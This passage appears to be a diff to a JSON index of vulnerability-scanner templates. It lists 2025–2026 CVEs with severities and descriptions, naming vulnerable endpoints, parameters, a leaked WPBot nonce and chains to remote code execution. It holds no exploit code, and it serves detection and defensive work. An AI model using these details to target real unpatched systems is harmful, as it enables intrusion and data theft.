{"ID":"CVE-2025-55746","Info":{"Name":"Directus - Unauthenticated File Modification","Severity":"critical","Description":"Directus versions from 10.8.0 before 11.9.3 allow unauthenticated attackers to modify the contents of an existing file when a valid file UUID is known. The PATCH /files/{id} endpoint processes multipart file uploads without proper authentication, allowing file content replacement despite returning a 403 status code. This template requires a known, controlled Directus file UUID provided via the file_id variable.\n","Classification":{"CVSSScore":"9.3"}},"file_path":"http/cves/2025/CVE-2025-55746.yaml"}
{"ID":"CVE-2025-55747","Info":{"Name":"XWiki Platform - Information Disclosure","Severity":"high","Description":"XWiki Platform is a generic wiki platform offering runtime services for applications built on top of it. In versions 6.1-milestone-2 through 16.10.6, configuration files are accessible through the webjars API.\n","Classification":{"CVSSScore":"9.1"}},"file_path":"http/cves/2025/CVE-2025-55747.yaml"}
{"ID":"CVE-2025-55748","Info":{"Name":"XWiki Platform - Path Traversal","Severity":"high","Description":"XWiki Platform 4.2-milestone-2 through 16.10.6 contains a path traversal caused by improper access control in jsx and sx endpoints, letting remote attackers read configuration files, exploit requires no special privileges.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2025/CVE-2025-55748.yaml"}
{"ID":"CVE-2025-55749","Info":{"Name":"XWiki - Information Disclosure","Severity":"high","Description":"XWiki 16.7.0 to 16.10.11, 17.4.4, and 17.7.0 using XJetty contains an information disclosure vulnerability caused by exposed context allowing static access to files in webapp/ folder, letting attackers access sensitive files, exploit requires use of XJetty package.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2025/CVE-2025-55749.yaml"}
@@ -3872,6 +3879,7 @@
{"ID":"CVE-2025-62613","Info":{"Name":"VDO.Ninja - DOM-Based Cross-Site Scripting","Severity":"medium","Description":"VDO.Ninja 28.0 to 28.3 contains a reflected XSS caused by improper sanitization of the room parameter in examples/control.html, letting remote attackers execute scripts, exploit requires crafted URL.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2025/CVE-2025-62613.yaml"}
{"ID":"CVE-2025-62780","Info":{"Name":"ChangeDetection.io \u003c= v0.50.33 - Stored XSS via Watch API","Severity":"medium","Description":"changedetection.io \u003c= 0.50.34 contains a stored cross site scripting caused by insufficient security checks in the Watch update API, letting attackers execute arbitrary JavaScript when users preview malicious links, exploit requires user interaction\n","Classification":{"CVSSScore":"6.2"}},"file_path":"http/cves/2025/CVE-2025-62780.yaml"}
{"ID":"CVE-2025-63387","Info":{"Name":"Dify v1.9.1 - Broken Access Control","Severity":"medium","Description":"Dify v1.9.1 contains an insecure permissions vulnerability caused by lack of authorization checks in /console/api/system-features endpoint, letting unauthenticated attackers access sensitive system configuration data.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-63387.yaml"}
{"ID":"CVE-2025-6389","Info":{"Name":"Sneeit WP Social WordPress Plugin - Unauthenticated RCE via call_user_func","Severity":"critical","Description":"The Sneeit Framework plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 8.3 via the sneeit_articles_pagination_callback() function. This is due to the function accepting user input and then passing that through call_user_func(). This makes it possible for unauthenticated attackers to execute code on the server which can be leveraged to inject backdoors or, for example, create new administrative user accounts.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-6389.yaml"}
{"ID":"CVE-2025-6403","Info":{"Name":"Code-Projects School Fees Payment System 1.0 - SQL Injection","Severity":"critical","Description":"A vulnerability was found in code-projects School Fees Payment System 1.0. It has been rated as critical. This issue affects some unknown processing of the file /student.php. The manipulation of the argument ID leads to sql injection. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-6403.yaml"}
{"ID":"CVE-2025-64095","Info":{"Name":"DNN - Unrestricted Arbitrary File Upload","Severity":"critical","Description":"DNN (formerly DotNetNuke) \\u003C 10.1.1 contains an unrestricted file upload vulnerability caused by the default HTML editor provider allowing unauthenticated file uploads and overwriting existing files, letting unauthenticated attackers deface websites and inject XSS payloads, exploit requires no authentication.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-64095.yaml"}
{"ID":"CVE-2025-64328","Info":{"Name":"FreePBX \u003e= 17.0.2.36 \u0026\u0026 \u003c 17.0.3 - Authenticated Command Injection","Severity":"critical","Description":"FreePBX Endpoint Manager 17.0.2.36 to \u003c 17.0.3 contains a command injection caused by improper sanitization in filestore module's testconnection check_ssh_connect() function, letting authenticated users execute commands as asterisk user.\n","Classification":{"CVSSScore":"8.6"}},"file_path":"http/cves/2025/CVE-2025-64328.yaml"}
@@ -3884,6 +3892,7 @@
{"ID":"CVE-2025-66744","Info":{"Name":"Yonyou YonBIP - Path Traversal","Severity":"high","Description":"Yonyou YonBIP v3 and before contains a path traversal caused by improper validation in the LoginWithV8 interface of the series data application service system, letting unauthorized attackers access sensitive information.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2025/CVE-2025-66744.yaml"}
{"ID":"CVE-2025-67303","Info":{"Name":"ComfyUI-Manager \u003c 3.38 - Configuration Overwrite","Severity":"critical","Description":"ComfyUI-Manager \u003c 3.38 contains an insecure file storage vulnerability caused by storing files in an insufficiently protected location accessible via the web interface, letting remote attackers manipulate configuration and critical data, exploit requires web access.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-67303.yaml"}
{"ID":"CVE-2025-68043","Info":{"Name":"LottieFiles WordPress Plugin \u003c= 3.0.0 - Missing Authorization","Severity":"high","Description":"LottieFiles LottieFiles \u003c= 3.0.0 contains a broken access control vulnerability caused by incorrectly configured access control security levels, letting attackers exploit missing authorization, exploit requires no special privileges.\n","Classification":{"CVSSScore":"7.3"}},"file_path":"http/cves/2025/CVE-2025-68043.yaml"}
{"ID":"CVE-2025-68493","Info":{"Name":"Apache Struts XWork - XML External Entity Injection","Severity":"high","Description":"Apache Struts 2.0.0 \u003c 2.2.1 and 2.2.1 \u003c= versions \u003c= 6.1.0 contain an XML external entity injection caused by missing XML validation, letting attackers potentially disclose files or cause denial of service, exploit requires crafted XML input\n","Classification":{"CVSSScore":"8.1"}},"file_path":"http/cves/2025/CVE-2025-68493.yaml"}
{"ID":"CVE-2025-68509","Info":{"Name":"User Submitted Posts \u003c= 20251121 - Unauthenticated Open Redirect","Severity":"medium","Description":"The User Submitted Posts plugin for WordPress is vulnerable to Open Redirect in all versions up to and including 20251121. This is due to insufficient validation on the redirect-override POST parameter. Unauthenticated attackers can redirect users to potentially malicious sites by tricking them into submitting a form.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-68509.yaml"}
{"ID":"CVE-2025-6851","Info":{"Name":"WordPress Broken Link Notifier \u003c 1.3.1 - Unauthenticated SSRF","Severity":"high","Description":"The Broken Link Notifier plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 1.3.0 via the ajax_blinks() function which ultimately calls the check_url_status_code() function. This makes it possible for unauthenticated attackers to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2025/CVE-2025-6851.yaml"}
{"ID":"CVE-2025-68602","Info":{"Name":"Accept Donations with PayPal \u003c= 1.5.2 - Open Redirect","Severity":"medium","Description":"The Accept Donations with PayPal \u0026 Stripe plugin for WordPress is vulnerable to Open Redirect in all versions up to, and including, 1.5.2. This is due to insufficient validation on the redirect url supplied. This makes it possible for unauthenticated attackers to redirect users to potentially malicious sites if they can successfully trick them into performing an action.\n","Classification":{"CVSSScore":"4.7"}},"file_path":"http/cves/2025/CVE-2025-68602.yaml"}
@@ -3898,6 +3907,7 @@
{"ID":"CVE-2025-71257","Info":{"Name":"BMC FootPrints - Authentication Bypass","Severity":"medium","Description":"BMC FootPrints versions 20.20.02 through 20.24.01.001 contain an authentication bypass vulnerability in the password reset functionality. Unauthenticated attackers can access the /footprints/servicedesk/passwordreset/request/ endpoint to obtain a valid SEC_TOKEN session cookie without proper authentication. This vulnerability enables exploitation of other vulnerabilities in the chain including CVE-2025-71258 and CVE-2025-71259 (SSRF) and CVE-2025-71260 (deserialization RCE).\n","Classification":{"CVSSScore":"6.5"}},"file_path":"http/cves/2025/CVE-2025-71257.yaml"}
{"ID":"CVE-2025-71258","Info":{"Name":"BMC FootPrints 'searchWeb' - Server-Side Request Forgery","Severity":"high","Description":"BMC FootPrints versions 20.20.02 through 20.24.01.001 contain a Server-Side Request Forgery (SSRF) vulnerability in the /footprints/servicedesk/import/searchWeb endpoint. The 'url' parameter allows unauthenticated attackers to force the server to make HTTP requests to arbitrary URLs, enabling access to internal services and bypassing firewall restrictions. This vulnerability is part of a pre-authenticated RCE chain when combined with CVE-2025-71257 (auth bypass) and CVE-2025-71260 (deserialization).\n","Classification":{"CVSSScore":"8.6"}},"file_path":"http/cves/2025/CVE-2025-71258.yaml"}
{"ID":"CVE-2025-71259","Info":{"Name":"BMC FootPrints 'feedUrl' - Server-Side Request Forgery","Severity":"high","Description":"BMC FootPrints versions 20.20.02 through 20.24.01.001 contain a Server-Side Request Forgery (SSRF) vulnerability in the /footprints/servicedesk/externalfeed/RSS endpoint. The 'feedUrl' parameter allows unauthenticated attackers to force the server to make HTTP requests to arbitrary URLs, enabling access to internal services and bypassing firewall restrictions. This vulnerability is part of a pre-authenticated RCE chain when combined with CVE-2025-71257 (auth bypass) and CVE-2025-71260 (deserialization).\n","Classification":{"CVSSScore":"8.6"}},"file_path":"http/cves/2025/CVE-2025-71259.yaml"}
{"ID":"CVE-2025-71334","Info":{"Name":"Flowise - Path Traversal","Severity":"critical","Description":"Flowise \u003c= 2.2.8 contains a path traversal vulnerability caused by missing validation of chatflowId and chatId parameters in file handling, letting unauthenticated attackers read and write arbitrary files, exploit requires no authentication.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-71334.yaml"}
{"ID":"CVE-2025-7160","Info":{"Name":"Zoo Management System 1.0 - SQL Injection","Severity":"critical","Description":"Zoo Management System 1.0 contains a SQL injection vulnerability via the username parameter on the login page. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site.\n","Classification":{"CVSSScore":"10"}},"file_path":"http/cves/2025/CVE-2025-7160.yaml"}
{"ID":"CVE-2025-8085","Info":{"Name":"Ditty \u003c 3.1.58 - Server-Side Request Forgery","Severity":"high","Description":"The plugin lacks authorization and authentication for requests to its displayItems endpoint, allowing unauthenticated visitors to make requests to arbitrary URLs. v3.1.57 attempted to fix the issue with a nonce check, however any authenticated users, such as subscriber can retrieve it.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-8085.yaml"}
{"ID":"CVE-2025-8110","Info":{"Name":"Gogs \u003c= 0.13.3 - Remote Code Execution","Severity":"high","Description":"Gogs self-hosted Git service versions 0.13.3 and earlier contain a critical symlink bypass vulnerability that circumvents the fix for CVE-2024-55947. Authenticated users can exploit improper symbolic link handling in the PutContents API to overwrite files outside the repository by committing a symlink pointing to sensitive targets, leading to remote code execution. As of December 2025, this remains an unpatched zero-day with active exploitation ongoing. Approximately 1,400 exposed Gogs instances exist, with over 700 showing signs of compromise. The vulnerability stems from the API writing to file paths without checking if targets are symlinks pointing outside the repository. Gogs maintainers are working on a fix.\n","Classification":{"CVSSScore":"8.8"}},"file_path":"http/cves/2025/CVE-2025-8110.yaml"}
@@ -3911,6 +3921,7 @@
{"ID":"CVE-2025-9744","Info":{"Name":"Loan Management System 1.0 - SQL Injection","Severity":"critical","Description":"Loan Management System 1.0 contains a SQL injection vulnerability via the username parameter. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site.\n","Classification":{"CVSSScore":"10"}},"file_path":"http/cves/2025/CVE-2025-9744.yaml"}
{"ID":"CVE-2025-9808","Info":{"Name":"The Events Calendar \u003c= 6.15.2 - Information Disclosure","Severity":"medium","Description":"The Events Calendar WordPress plugin \u003c= 6.15.2 contains an information disclosure vulnerability caused by REST endpoint exposure, letting unauthenticated attackers extract data about password-protected vendors or venues, exploit requires no authentication.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-9808.yaml"}
{"ID":"CVE-2025-9985","Info":{"Name":"Featured Image from URL (FIFU) \u003c= 5.2.7 - Unauthenticated Information Exposure via Log File","Severity":"medium","Description":"The Featured Image from URL (FIFU) plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 5.2.7 through publicly exposed log files. This makes it possible for unauthenticated attackers to view potentially sensitive information contained in the exposed log files.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-9985.yaml"}
{"ID":"CVE-2025-14047","Info":{"Name":"User Frontend \u003c= 4.2.4 - Missing Authorization to Unauthenticated Attachment Deletion","Severity":"medium","Description":"The WP User Frontend plugin for WordPress is vulnerable to unauthorized loss of data due to a missing capability check in the Frontend_Form_Ajax::submit_post function.\nThis makes it possible for unauthenticated attackers to delete attachment records through the plugin's AJAX handling when a public frontend form is available.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2026/CVE-2025-14047.yaml"}
{"ID":"CVE-2026-0545","Info":{"Name":"MLflow Job API - Authentication Bypass","Severity":"critical","Description":"MLflow latest version contains an authentication bypass caused by unprotected FastAPI job endpoints under /ajax-api/3.0/jobs/* when basic-auth is enabled, letting unauthenticated network clients submit and manage jobs, exploit requires job execution enabled and allowlisted job functions.\n","Classification":{"CVSSScore":"9.1"}},"file_path":"http/cves/2026/CVE-2026-0545.yaml"}
{"ID":"CVE-2026-0560","Info":{"Name":"LolLMS \u003c 2.2.0 - Server-Side Request Forgery","Severity":"high","Description":"A Server-Side Request Forgery (SSRF) vulnerability exists in parisneo/lollms versions prior to 2.2.0. The /api/files/export-content endpoint processes Markdown image URLs by downloading them via _download_image_to_temp() in backend/routers/files.py without any validation, allowing an unauthenticated attacker to supply arbitrary URLs (e.g. cloud metadata endpoints or internal services) that the server will fetch, enabling internal network access, cloud metadata access, information disclosure, port scanning, and potentially remote code execution.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2026/CVE-2026-0560.yaml"}
{"ID":"CVE-2026-0594","Info":{"Name":"WordPress List Site Contributors \u003c 1.1.8 - Reflected XSS","Severity":"medium","Description":"WordPress List Site Contributors plugin \u003c 1.1.8 contains a reflected XSS caused by insufficient sanitization and escaping of the 'alpha' parameter, letting unauthenticated attackers inject scripts, exploit requires user interaction.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2026/CVE-2026-0594.yaml"}
@@ -3928,12 +3939,16 @@
{"ID":"CVE-2026-1314","Info":{"Name":"WordPress 3D FlipBook \u003c= 1.16.17 - Information Disclosure","Severity":"medium","Description":"WordPress 3D FlipBook - PDF Flipbook Viewer, Flipbook Image Gallery plugin versions \u003c= 1.16.17 contain a missing authorization vulnerability in multiple AJAX endpoints. The fb3d_send_posts_in, fb3d_send_post_pages, fb3d_send_posts_in_pages, fb3d_send_posts_in_first_page, and fb3d_send_post_first_page handlers are registered with wp_ajax_nopriv hooks but fail to verify the post status of requested flipbook entries. This allows unauthenticated attackers to retrieve full metadata, PDF URLs, and configuration data of private, draft, and password-protected flipbook posts.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2026/CVE-2026-1314.yaml"}
{"ID":"CVE-2026-1357","Info":{"Name":"WPvivid Backup \u0026 Migration \u003c= 0.9.123 - Arbitrary File Upload","Severity":"critical","Description":"WPvivid Backup \u0026 Migration plugin for WordPress \u003c= 0.9.123 contains an unauthenticated arbitrary file upload vulnerability caused by improper error handling in RSA decryption and lack of path sanitization, letting unauthenticated attackers upload arbitrary PHP files and achieve remote code execution via wpvivid_action=send_to_site parameter.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-1357.yaml"}
{"ID":"CVE-2026-1368","Info":{"Name":"Video Conferencing with Zoom API \u003c 4.6.6 - Unauthenticated SDK Signature Generation","Severity":"high","Description":"Zoom WordPress plugin \u003c 4.6.6 contains a broken authentication caused by disabled nonce verification in an AJAX handler, letting unauthenticated attackers generate valid Zoom SDK signatures and retrieve the Zoom SDK key.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2026/CVE-2026-1368.yaml"}
{"ID":"CVE-2026-13731","Info":{"Name":"WPBot \u003c= 8.4.9 - Cross-Site Scripting","Severity":"high","Description":"WPBot \u003c= 8.4.9 is vulnerable to stored cross-site scripting via the conversation parameter in the qcld_wb_chatbot_conversation_save AJAX action. The AJAX nonce (qcsecretbotnonceval123qc) is publicly emitted on every frontend page via wp_localize_script under the ajax_nonce key, making it freely obtainable by unauthenticated visitors. The conversation parameter is saved to the database without sanitization and rendered unsanitized in the admin chat session view, causing stored XSS that executes when an administrator views saved chat sessions.\n","Classification":{"CVSSScore":"7.2"}},"file_path":"http/cves/2026/CVE-2026-13731.yaml"}
{"ID":"CVE-2026-1405","Info":{"Name":"WordPress Slider Future \u003c= 1.0.5 - Unauthenticated Arbitrary File Upload","Severity":"critical","Description":"Slider Future WordPress plugin \u003c= 1.0.5 contains an unrestricted file upload vulnerability caused by missing file type validation in 'slider_future_handle_image_upload', letting unauthenticated attackers upload arbitrary files, exploit requires no authentication.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-1405.yaml"}
{"ID":"CVE-2026-1492","Info":{"Name":"WordPress User Registration \u0026 Membership \u003c= 5.1.2 - Unauthenticated Privilege Escalation","Severity":"critical","Description":"User Registration \u0026 Membership WordPress plugin \u003c= 5.1.2 contains an improper privilege management vulnerability caused by accepting user-supplied roles without server-side allowlist enforcement, letting unauthenticated attackers create administrator accounts\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-1492.yaml"}
{"ID":"CVE-2026-15094","Info":{"Name":"WP Hotel Booking \u003c= 2.3.2 - Cross-Site Scripting","Severity":"medium","Description":"The WP Hotel Booking plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'check_in_date' parameter in all versions up to, and including, 2.3.2 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2026/CVE-2026-15094.yaml"}
{"ID":"CVE-2026-1557","Info":{"Name":"WP Responsive Images \u003c= 1.0 - Arbitrary File Read","Severity":"high","Description":"WP Responsive Images plugin for WordPress \u003c= 1.0 contains a path traversal caused by improper sanitization of the 'src' parameter, letting unauthenticated attackers read arbitrary files on the server.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2026/CVE-2026-1557.yaml"}
{"ID":"CVE-2026-1581","Info":{"Name":"wpForo Forum \u003c= 2.4.14 - SQL Injection","Severity":"critical","Description":"wpForo Forum WordPress plugin \u003c= 2.4.14 contains a time-based SQL injection caused by insufficient escaping of the 'wpfob' parameter, letting unauthenticated attackers extract sensitive database information.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2026/CVE-2026-1581.yaml"}
{"ID":"CVE-2026-1603","Info":{"Name":"Ivanti Endpoint Manager - Authentication Bypass","Severity":"high","Description":"Ivanti Endpoint Manager \u003c 2024 SU5 contains an authentication bypass caused by improper access control, letting remote unauthenticated attackers leak stored credential data, exploit requires no special privileges.\n","Classification":{"CVSSScore":"8.6"}},"file_path":"http/cves/2026/CVE-2026-1603.yaml"}
{"ID":"CVE-2026-1830","Info":{"Name":"Quick Playground \u003c= 1.3.1 - Missing Authorization to Unauthenticated Arbitrary File Upload","Severity":"critical","Description":"The Quick Playground plugin for WordPress is vulnerable to remote code execution in all versions up to, and including, 1.3.1.\nThe plugin exposes a blueprint REST API endpoint (permission_callback: __return_true) that leaks the sync code, and an upload_image endpoint that accepts file uploads with path traversal in the filename parameter without sufficient authorization checks, which can be chained into arbitrary PHP file upload and RCE.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-1830.yaml"}
{"ID":"CVE-2026-1890","Info":{"Name":"LeadConnector \u003c 3.0.22 - Unauthenticated Arbitrary Data Write","Severity":"medium","Description":"LeadConnector WordPress plugin \u003c 3.0.22 contains a broken access control caused by missing authorization in a REST route, letting unauthenticated attackers overwrite existing data remotely, exploit requires no authentication.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2026/CVE-2026-1890.yaml"}
{"ID":"CVE-2026-1980","Info":{"Name":"WPBookit \u003c= 1.0.8 - Unauthenticated Customer Information Disclosure","Severity":"medium","Description":"WPBookit WordPress plugin \u003c= 1.0.8 contains an information disclosure vulnerability caused by missing authorization check on 'get_customer_list' route, letting unauthenticated attackers retrieve sensitive customer data.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2026/CVE-2026-1980.yaml"}
{"ID":"CVE-2026-20079","Info":{"Name":"Cisco Secure Firewall Management Center - Authentication Bypass","Severity":"critical","Description":"Cisco Secure Firewall Management Center Software contains an authentication bypass caused by improper system process creation at boot, letting unauthenticated remote attackers execute scripts and gain root access, exploit requires crafted HTTP requests.\n","Classification":{"CVSSScore":"10"}},"file_path":"http/cves/2026/CVE-2026-20079.yaml"}
{"ID":"CVE-2026-2025","Info":{"Name":"Mail Mint \u003c 1.19.5 - Unauthenticated Email Disclosure","Severity":"high","Description":"Mail Mint WordPress plugin \u003c 1.19.5 contains an information disclosure vulnerability caused by lack of authorization in a REST API endpoint, letting unauthenticated users retrieve email addresses of blog users, exploit requires no authentication.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2026/CVE-2026-2025.yaml"}
{"ID":"CVE-2026-20253","Info":{"Name":"Splunk Enterprise \u0026 Cloud Platform - Unrestricted File Upload","Severity":"critical","Description":"In Splunk Enterprise versions below 10.2.4 and 10.0.7, and Splunk Cloud Platform versions below 10.4.2604.3 and 10.2.2510.14, an unauthenticated user could create or truncate arbitrary files through a PostgreSQL sidecar service endpoint.\u003cbr\u003e\u003cbr\u003eThe vulnerability exists because the PostgreSQL sidecar service endpoint lacks authentication controls, allowing any network-reachable user to invoke file operations without credentials.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2026/CVE-2026-20253.yaml"}
@@ -3947,6 +3962,7 @@
{"ID":"CVE-2026-22200","Info":{"Name":"osTicket - Arbitrary File Read","Severity":"high","Description":"Enhancesoft osTicket versions 1.18.x prior to 1.18.3 and 1.17.x prior to 1.17.7 contain an arbitrary file read vulnerability in the ticket PDF export functionality. A remote attacker can submit a ticket containing crafted rich-text HTML that includes PHP filter expressions which are insufficiently sanitized before being processed by the mPDF PDF generator during export. When the attacker exports the ticket to PDF, the generated PDF can embed the contents of attacker-selected files from the server filesystem as bitmap images, allowing disclosure of sensitive local files in the context of the osTicket application user. This issue is exploitable in default configurations where guests may create tickets and access ticket status, or where self-registration is enabled.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2026/CVE-2026-22200.yaml"}
{"ID":"CVE-2026-22557","Info":{"Name":"UniFi Network Application - Path Traversal","Severity":"critical","Description":"UniFi Network Application contains a path traversal vulnerability allowing a network attacker to access and manipulate files on the underlying system, potentially leading to account access, exploit requires network access.\n","Classification":{"CVSSScore":"10.0"}},"file_path":"http/cves/2026/CVE-2026-22557.yaml"}
{"ID":"CVE-2026-2262","Info":{"Name":"Easy Appointments \u003c= 3.12.21 - Information Disclosure","Severity":"high","Description":"Easy Appointments WordPress plugin \u003c= 3.12.21 contains a sensitive information exposure caused by an unauthenticated REST API endpoint /wp-json/wp/v2/eablocks/ea_appointments/ registered with permission_callback allowing unrestricted access, letting unauthenticated attackers extract sensitive customer appointment data.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2026/CVE-2026-2262.yaml"}
{"ID":"CVE-2026-22683","Info":{"Name":"Windmill \u003c 1.603.3 - Operator Authorization Bypass","Severity":"high","Description":"Windmill versions 1.276.0 through 1.603.2 contain an authorization bypass vulnerability in the folder management API endpoints. The endpoints for creating, deleting, and managing folder ownership do not enforce role-based access control for operator-level users. In Windmill, operators are restricted users intended to only execute existing scripts, but due to missing server-side authorization checks, operators can create folders, manage folder permissions, and access owner management endpoints. This bypass serves as the prerequisite for exploiting CVE-2026-23696 (SQL injection via folder addowner) enabling full privilege escalation from operator to super admin with remote code execution.\n","Classification":{"CVSSScore":"8.1"}},"file_path":"http/cves/2026/CVE-2026-22683.yaml"}
{"ID":"CVE-2026-22739","Info":{"Name":"Spring Cloud Config Server - Path Traversal","Severity":"high","Description":"Spring Cloud 3.1.x \u003c 3.1.13, 4.1.x \u003c 4.1.9, 4.2.x \u003c 4.2.3, 4.3.x \u003c 4.3.2, and 5.0.x \u003c 5.0.2 contain a path traversal caused by profile parameter substitution in Config Server using native file system backend, letting attackers access files outside configured directories, exploit requires crafted request.\n","Classification":{"CVSSScore":"8.6"}},"file_path":"http/cves/2026/CVE-2026-22739.yaml"}
{"ID":"CVE-2026-22778","Info":{"Name":"vLLM 0.8.3 - 0.14.0 - Information Disclosure","Severity":"critical","Description":"vLLM 0.8.3 to - 0.14.1 contains an information disclosure caused by leaking a heap address in error messages from the multimodal endpoint when processing invalid images, letting remote attackers reduce ASLR entropy, exploit requires sending invalid images.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-22778.yaml"}
{"ID":"CVE-2026-22812","Info":{"Name":"OpenCode \u003c 1.0.216 - Unauthenticated Remote Code Execution","Severity":"high","Description":"OpenCode versions prior to 1.0.216 contain an unauthenticated remote code execution vulnerability. The application exposes session and shell execution endpoints without proper authentication, allowing remote attackers to create sessions and execute arbitrary shell commands on the underlying server.\n","Classification":{"CVSSScore":"8.8"}},"file_path":"http/cves/2026/CVE-2026-22812.yaml"}
@@ -3954,11 +3970,13 @@
{"ID":"CVE-2026-23483","Info":{"Name":"Blinko \u003c= 1.8.3 - Path Traversal via /plugins","Severity":"medium","Description":"Blinko \u003c= 1.8.3 contains a path traversal caused by improper path concatenation without verification in the plugin file server endpoint, letting remote attackers access arbitrary files, exploit requires network access.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2026/CVE-2026-23483.yaml"}
{"ID":"CVE-2026-23486","Info":{"Name":"Blinko \u003c= 1.8.3 - User Information Leak","Severity":"low","Description":"Blinko \u003c= 1.8.4 contains an information disclosure caused by a publicly accessible endpoint exposing user information including usernames, roles, and account creation dates, letting remote attackers access sensitive user data, exploit requires no special privileges.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2026/CVE-2026-23486.yaml"}
{"ID":"CVE-2026-23550","Info":{"Name":"Modular DS - Broken Access Control","Severity":"high","Description":"Modular DS = 2.5.1 contains a broken access control vulnerability caused by incorrect privilege assignment, letting attackers escalate their privileges, exploit requires no special conditions.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2026/CVE-2026-23550.yaml"}
{"ID":"CVE-2026-23696","Info":{"Name":"Windmill \u003c 1.603.3 - SQL Injection","Severity":"critical","Description":"Windmill versions 1.276.0 through 1.603.2 contain an authenticated SQL injection vulnerability in the folder owner management endpoint. The addowner API endpoint passes user-supplied input directly into a SQL query without sanitization, enabling JSONB path injection. An authenticated user with operator-level access can extract sensitive data including JWT secrets, password hashes, API tokens, and database credentials, leading to full privilege escalation and remote code execution.\n","Classification":{"CVSSScore":"9.9"}},"file_path":"http/cves/2026/CVE-2026-23696.yaml"}
{"ID":"CVE-2026-23744","Info":{"Name":"MCPJam Inspector - Remote Code Execution","Severity":"critical","Description":"MCPJam inspector is the local-first development platform for MCP servers. The Latest version 1.4.2 and earlier are vulnerable to a remote code execution (RCE) vulnerability, which allows an attacker to send a crafted HTTP request that triggers the installation of an MCP server, leading to RCE.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-23744.yaml"}
{"ID":"CVE-2026-23760","Info":{"Name":"SmarterTools SmarterMail - Admin Password Reset","Severity":"critical","Description":"Detected a SmartMail admin password reset vulnerability by sending a POST request to the `/api/v1/auth/force-reset-password` endpoint, indicating that administrative password resets could potentially be triggered without proper authorization.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2026/CVE-2026-23760.yaml"}
{"ID":"CVE-2026-24128","Info":{"Name":"XWiki Platform Distribution Flavor Main - Cross-Site Scripting","Severity":"medium","Description":"XWiki Platform Distribution Flavor Main versions prior to 17.6.0 are vulnerable to reflected cross-site scripting (XSS) due to improper sanitization of user-supplied input in the extensionId parameter. An attacker can exploit this issue by injecting malicious JavaScript, which will be executed in the context of the victim's browser, potentially leading to session hijacking or other attacks.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2026/CVE-2026-24128.yaml"}
{"ID":"CVE-2026-2413","Info":{"Name":"Ally – Web Accessibility \u0026 Usability \u003c= 4.0.3 - SQL Injection","Severity":"high","Description":"The Ally – Web Accessibility \u0026 Usability plugin for WordPress is vulnerable to SQL Injection via the URL path in all versions up to, and including, 4.0.3. This is due to insufficient escaping on the user-supplied URL parameter in the `get_global_remediations()` method, where it is directly concatenated into an SQL JOIN clause without proper sanitization for SQL context. While `esc_url_raw()` is applied for URL safety, it does not prevent SQL metacharacters (single quotes, parentheses) from being injected. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database via time-based blind SQL injection techniques. The Remediation module must be active, which requires the plugin to be connected to an Elementor account.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2026/CVE-2026-2413.yaml"}
